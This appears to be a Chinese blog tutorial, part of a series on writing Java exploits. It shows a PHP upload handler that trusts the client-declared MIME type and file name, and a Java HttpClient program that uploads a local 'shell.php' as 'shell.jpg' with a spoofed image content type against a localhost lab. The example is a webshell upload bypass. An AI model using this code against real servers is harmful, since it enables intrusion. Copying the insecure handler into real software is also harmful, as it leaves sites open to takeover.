JAVA-Exploit编写(3)--httpcomponents库使用文件上传

目录

1.依赖安装

[2. upload文件代码](#2. upload文件代码)

3.文件上传代码


1.依赖安装

文件上传处需要使用httpcomponents库,需要在Maven的pom.xml文件中导入依赖

java 复制代码
<dependency>
      <groupId>org.apache.httpcomponents</groupId>
      <artifactId>httpmime</artifactId>
      <version>4.5.8</version>
</dependency>

2. upload文件代码

php 复制代码
<?php
if (($_FILES["file"]["type"] == "image/gif" || $_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "image/png") && $_FILES["file"]["size"] < 20000) {
    if ($_FILES["file"]["error"] > 0) {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    } else {
        if (file_exists("uploads/" . $_FILES["file"]["name"])) {
            echo $_FILES["file"]["name"] . " already exists. ";
        } else {
            move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);
            echo "Stored in: " . "uploads/" . $_FILES["file"]["name"];
        }
    }
} else {
    echo "Invalid file";
}
?>

3.文件上传代码

还是在之前的基础上,增加了一个文件上传的文件类,请求方式通过POST方式,使用try-catch处理异常.

java 复制代码
package com.deger;

import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ContentType;
import org.apache.http.entity.mime.MultipartEntityBuilder;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;

import java.io.File;
import java.io.IOException;

public class HttpClientUpload {
    public static void main(String[] args){
        System.out.println(DoUpload("http://127.0.0.1/upload.php"));
    }
    public static String DoUpload(String url){
        String res = null;
        CloseableHttpClient httpClient = null;
        CloseableHttpResponse response = null;

        httpClient = HttpClients.createDefault();
        //上传的文件的本地路径
        File file = new File("D:\\phpstudy_pro\\WWW\\shell.php");
        MultipartEntityBuilder builder = MultipartEntityBuilder.create();
//        builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), file.getName()));
        //更改上传文件的名称
        builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), "shell.jpg"));

        HttpPost httpPost = new HttpPost(url);
        httpPost.setEntity(builder.build());
        try {
            response = httpClient.execute(httpPost);
            if (response.getStatusLine().getStatusCode() == 200) {
                res = EntityUtils.toString(response.getEntity());
            }
        } catch (IOException e) {
            throw new RuntimeException(e);
        }finally {
            try {
                httpClient.close();
                response.close();
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
        return res;
    }
}
相关推荐
LiuYaoheng9 分钟前
【Android】View 的基础知识
android·java·笔记·学习
勇往直前plus17 分钟前
Sentinel微服务保护
java·spring boot·微服务·sentinel
星辰大海的精灵17 分钟前
SpringBoot与Quartz整合,实现订单自动取消功能
java·后端·算法
小鸡脚来咯20 分钟前
一个Java的main方法在JVM中的执行流程
java·开发语言·jvm
江团1io021 分钟前
深入解析三色标记算法
java·开发语言·jvm
天天摸鱼的java工程师29 分钟前
RestTemplate 如何优化连接池?—— 八年 Java 开发的踩坑与优化指南
java·后端
你我约定有三33 分钟前
java--泛型
java·开发语言·windows
杨杨杨大侠40 分钟前
第3章:实现基础事件总线
java·github·eventbus
杨杨杨大侠42 分钟前
第4章:添加注解支持
java·github·eventbus
咖啡Beans1 小时前
异步处理是企业开发的‘生存之道’!Java8和Spring的异步实现,你必须搞清楚!
java·后端